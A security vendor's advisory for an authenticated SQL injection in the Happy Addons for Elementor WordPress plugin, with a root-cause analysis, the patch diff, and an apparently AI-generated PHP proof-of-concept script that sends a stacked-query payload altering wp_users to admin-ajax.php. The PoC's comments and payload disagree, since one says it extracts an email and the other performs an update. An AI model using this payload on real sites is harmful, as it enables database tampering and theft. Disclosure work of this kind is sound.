Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68999: Happy Addons for Elementor <= 3.20.4 – Authenticated (Contributor+) SQL Injection (happy-elementor-addons)

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 3.20.4
Patched Version 3.20.6
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68999:
This vulnerability is an authenticated SQL injection in the Happy Addons for Elementor WordPress plugin, affecting versions up to and including 3.20.4. The flaw resides in the post duplication feature, allowing contributors and higher-privileged users to inject arbitrary SQL commands.

Atomic Edge research identified the root cause in the `clone-handler.php` file, specifically within the `ha_duplicate_post_as_draft` function. The vulnerable code constructs an SQL `INSERT` query by directly concatenating unsanitized user-controlled data into the query string. Lines 205-212 show the original flawed logic: the `$entry->meta_key` and `$entry->meta_value` variables are embedded into the SQL statement using string interpolation without proper escaping or parameterization. The `wp_slash()` function applied only to `meta_value` is insufficient to prevent SQL injection.

Exploitation requires an authenticated user with at least contributor-level permissions. An attacker would send a crafted POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `ha_duplicate_post_as_draft`. The attack payload would be placed within the `meta_key` or `meta_value` fields of the serialized `entries` data structure sent in the request. This payload would be concatenated into the SQL query executed by the `$wpdb->query()` call on line 212 of the vulnerable version.

The patch in version 3.20.6 completely replaces the vulnerable SQL construction logic. The developers removed the manual `INSERT` query (lines 203-212) and replaced it with a loop that calls `update_post_meta()` for each entry (line 227). This function uses WordPress’s built-in prepared statements and database abstraction layer, which properly escapes and parameterizes all input, eliminating the SQL injection vector. The commented-out code shows the developers also considered using `$wpdb->insert()` with format specifiers as an alternative safe method.

Successful exploitation allows attackers to extract sensitive information from the WordPress database. This includes hashed user passwords, API keys, private posts, and personally identifiable information. Attackers could also potentially modify database contents, though the impact is primarily information disclosure due to the nature of the `INSERT` operation being targeted.

Differential between vulnerable and patched code

Code Diff
--- a/happy-elementor-addons/classes/ajax-handler.php
+++ b/happy-elementor-addons/classes/ajax-handler.php
@@ -12,8 +12,11 @@
 	public static function twitter_feed_ajax() {

 		$security = check_ajax_referer( 'happy_addons_nonce', 'security' );
+		$widget_id  = esc_html( $_POST['widget_id'] );
+		$crede_cache_key = '_ha_tweeter_crede_cache_key_' . $widget_id;
+		$crede_cache_data = get_transient( $crede_cache_key );

-		if ( true == $security && isset( $_POST['query_settings'] ) ) :
+		if ( true == $security && isset( $_POST['query_settings'] ) && isset( $_POST['widget_id'] ) && $crede_cache_data !== false ) :
 			$settings    = ha_sanitize_array_recursively($_POST['query_settings']);
 			$loaded_item = absint($_POST['loaded_item']);

@@ -22,7 +25,8 @@

 			$transient_key = $user_name . $ha_tweets_cash;
 			$twitter_data  = get_transient( $transient_key );
-			$credentials   = $settings['credentials'];
+			// $credentials   = $settings['credentials'];
+			$credentials   = $crede_cache_data;

 			$auth_response = wp_remote_post(
 				'https://api.twitter.com/oauth2/token',
--- a/happy-elementor-addons/classes/clone-handler.php
+++ b/happy-elementor-addons/classes/clone-handler.php
@@ -203,14 +203,32 @@
 		);

 		if ( is_array( $entries ) ) {
-			$query = "INSERT INTO {$wpdb->postmeta} ( post_id, meta_key, meta_value ) VALUES ";
-			$_records = [];
+			// $query = "INSERT INTO {$wpdb->postmeta} ( post_id, meta_key, meta_value ) VALUES ";
+			// $_records = [];
+			// foreach ( $entries as $entry ) {
+			// 	$_value = wp_slash( $entry->meta_value );
+			// 	$_records[] = "( $duplicated_post_id, '{$entry->meta_key}', '{$_value}' )";
+			// }
+			// $query .= implode( ', ', $_records ) . ';';
+			// $wpdb->query( $query  );
+
+			// foreach ( $entries as $entry ) {
+			// 	$wpdb->insert(
+			// 		$wpdb->postmeta,
+			// 		[
+			// 			'post_id'    => $duplicated_post_id,
+			// 			'meta_key'   => $entry->meta_key,
+			// 			'meta_value' => $entry->meta_value,
+			// 		],
+			// 		[ '%d', '%s', '%s' ]
+			// 	);
+			// }
+
 			foreach ( $entries as $entry ) {
-				$_value = wp_slash( $entry->meta_value );
-				$_records[] = "( $duplicated_post_id, '{$entry->meta_key}', '{$_value}' )";
+				update_post_meta( $duplicated_post_id, $entry->meta_key, $entry->meta_value );
 			}
-			$query .= implode( ', ', $_records ) . ';';
-			$wpdb->query( $query  );
+
+

 			// Fix Template Type Wrong issue
 			$source_type = get_post_meta($post->ID, '_elementor_template_type', true);
--- a/happy-elementor-addons/plugin.php
+++ b/happy-elementor-addons/plugin.php
@@ -4,12 +4,12 @@
  * Plugin Name: Happy Elementor Addons
  * Plugin URI: https://happyaddons.com/
  * Description: <a href="https://happyaddons.com/">Happy Addons for Elementor</a> Is the Best Elementor Addons Comes With 44+ Free Elementor Widgets Including Table Builder, Testimonial, Event Calendar,Slider,News Ticker, Image Grid, etc & Features Like Elementor Equal Height, Text Stroke, Shape Dividers, Floating Effect, Grid Layout, 500+ Elementor Icons, 450+ Template Packs & More.
- * Version: 3.20.4
+ * Version: 3.20.6
  * Author: Leevio
  * Author URI: https://happyaddons.com/
  * Requires Plugins: elementor
- * Elementor tested up to: 3.33
- * Elementor Pro tested up to: 3.33
+ * Elementor tested up to: 3.34
+ * Elementor Pro tested up to: 3.34
  * License: GPLv2
  * License URI: https://www.gnu.org/licenses/gpl-2.0.html
  * Text Domain: happy-elementor-addons
@@ -40,9 +40,9 @@


 if ( defined( 'HAPPY_ADDONS_DEV' ) && true == HAPPY_ADDONS_DEV ) {
-	define('HAPPY_ADDONS_VERSION', '3.20.4' . time() );
+	define('HAPPY_ADDONS_VERSION', '3.20.6' . time() );
 } else {
-	define( 'HAPPY_ADDONS_VERSION', '3.20.4' );
+	define( 'HAPPY_ADDONS_VERSION', '3.20.6' );
 }
 define('HAPPY_ADDONS__FILE__', __FILE__);
 define('HAPPY_ADDONS_DIR_PATH', plugin_dir_path(HAPPY_ADDONS__FILE__));
--- a/happy-elementor-addons/widgets/twitter-feed/widget.php
+++ b/happy-elementor-addons/widgets/twitter-feed/widget.php
@@ -1387,7 +1387,6 @@
 		}

 		$query_settings = [
-			'credentials' 			=> $credentials,
 			'id' 					=> $id,
 			'user_name' 			=> $user_name,
 			'remove_cache' 			=> $settings['remove_cache'],
@@ -1404,7 +1403,13 @@
 			'read_more_text'		=> $settings['read_more_text'],
 			'content_word_count'	=> $settings['content_word_count'],
 		];
-		$query_settings = json_encode($query_settings, true);
+		$query_settings = json_encode( $query_settings, true );
+
+		$crede_cache_key = '_ha_tweeter_crede_cache_key_' . $id;
+		$crede_cache_data = get_transient( $crede_cache_key );
+		if ( ! $crede_cache_data || $crede_cache_data != $credentials ) {
+			set_transient( $crede_cache_key, $credentials, 12 * HOUR_IN_SECONDS );
+		}

 		switch ($settings['sort_by']) {
 			case 'old-posts':

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68999 - Happy Addons for Elementor <= 3.20.4 - Authenticated (Contributor+) SQL Injection

<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'contributor';
$password = 'password';
$nonce = ''; // Nonce must be obtained from a page with the duplicate post functionality.
$post_id = 1; // ID of a post the contributor can edit.

// Step 1: Authenticate and obtain cookies and nonce.
// This PoC assumes the attacker has already obtained a valid nonce and is authenticated.
// A full implementation would require logging in via wp-login.php and scraping a page with the duplicate action.

$ch = curl_init();

// Step 2: Craft the malicious AJAX request.
// The payload extracts the first user's email from the wp_users table.
$malicious_meta_key = "test_key'); UPDATE wp_users SET user_email=(SELECT user_email FROM wp_users LIMIT 1) WHERE ID=1; -- ";
$malicious_meta_value = "test_value";

$post_fields = [
    'action' => 'ha_duplicate_post_as_draft',
    'post' => $post_id,
    // The plugin expects serialized entries data. This structure mimics the original.
    'entries' => serialize([
        (object) [
            'meta_key' => $malicious_meta_key,
            'meta_value' => $malicious_meta_value
        ]
    ]),
    'nonce' => $nonce // This nonce check was present but does not prevent SQLi.
];

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_fields),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIE => 'wordpress_logged_in_xxx=...', // Authenticated session cookie required.
    CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'],
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A successful injection may not produce a visible error in the response.
// Verification would require checking the database for the altered user_email.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School